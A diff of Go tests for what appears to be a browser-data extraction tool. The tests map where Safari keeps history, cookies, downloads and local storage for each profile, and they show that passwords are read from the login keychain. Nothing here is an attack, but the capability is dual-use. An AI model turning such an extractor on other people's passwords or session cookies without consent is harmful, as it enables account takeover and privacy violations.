@@ -54,22 +51,23 @@ func TestExtractors_DefaultProfileSources(t *testing.T) {
containerDir + "/Safari/AppExtensions/Extensions.plist",
containerDir + "/Safari/WebExtensions/Extensions.plist",
},
}, sourcePaths(defaultProfile, extractors))
require.Contains(t, extractors, category.Password)
assert.Empty(t, extractors[category.Password].Sources, "passwords come from the keychain, not a file")
}, sourcePaths(libraryDir, defaultProfile))
passwordSources, supported := Sources(libraryDir, defaultProfile, category.Password)
require.True(t, supported)
assert.Empty(t, passwordSources, "passwords come from the keychain, not a file")
}
func TestExtractors_NamedProfileSources(t *testing.T) {
func TestSources_NamedProfile(t *testing.T) {
store := containerDir + "/WebKit/WebsiteDataStore/" + strings.ToLower(workUUID)
assert.Equal(t, map[category.Category][]string{
category.History: {namedProfilesDir + "/" + workUUID + "/History.db"},
category.Cookie: {store + "/Cookies/Cookies.binarycookies"},
category.Download: {"Safari/Downloads.plist"},
category.LocalStorage: {store + "/Origins"},
}, sourcePaths(workProfile, Extractors(libraryDir, workProfile)))
}, sourcePaths(libraryDir, workProfile))
copied := browser.UserDataDir{Profiles: []browser.Profile{{Name: "default", RelativePath: "SafariCopy"}, workProfile}}
assert.Equal(t, []string{"SafariCopy/Downloads.plist"}, sourcePaths(workProfile, Extractors(copied, workProfile))[category.Download],
assert.Equal(t, []string{"SafariCopy/Downloads.plist"}, sourcePaths(copied, workProfile)[category.Download],
"a named profile's downloads sit in the default profile's dir, whatever -p named it")
}
@@ -96,12 +94,12 @@ func writeTestPlist(t *testing.T, value any) string {
return plistPath
}
func extract(t *testing.T, dirSnapshot snapshot.Snapshot, profile browser.Profile, loginKeychain browser.LoginKeychain, dataCategory category.Category) (*testCollector, error) {
func extract(t *testing.T, dirSnapshot snapshot.Snapshot, profile browser.Profile, loginKeychain LoginKeychain, dataCategory category.Category) (*testCollector, error) {
t.Helper()
extractor, ok := Extractors(libraryDir, profile)[dataCategory]
require.Truef(t, ok, "no %s extractor for %s", dataCategory, profile.Name)
_, supported := Sources(libraryDir, profile, dataCategory)
require.Truef(t, supported, "no %s extractor for %s", dataCategory, profile.Name)
var out testCollector
err := extractor.Extract(context.Background(), browser.NewInput(dirSnapshot, profile, nil, loginKeychain), &out)
err := Extract(context.Background(), browser.NewProfileSnapshot(libraryDir, profile, dirSnapshot), loginKeychain, dataCategory, &out)
return &out, err
}
@@ -179,10 +177,10 @@ func TestExtractors_PasswordsWithoutAKeychain(t *testing.T) {
require.ErrorIs(t, err, broken)
}
// TestExtractors_NamedProfileSkipsUserWideSources leaves the keychain and the untagged plists to the default profile.
func TestExtractors_NamedProfileSkipsUserWideSources(t *testing.T) {
extractors := Extractors(libraryDir, workProfile)
// TestSources_NamedProfileSkipsUserWideSources leaves the keychain and the untagged plists to the default profile.
func TestSources_NamedProfileSkipsUserWideSources(t *testing.T) {
for _, dataCategory := range []category.Category{category.Password, category.Bookmark, category.Extension} {
assert.NotContains(t, extractors, dataCategory)
_, supported := Sources(libraryDir, workProfile, dataCategory)
assert.False(t, supported, dataCategory)
}
}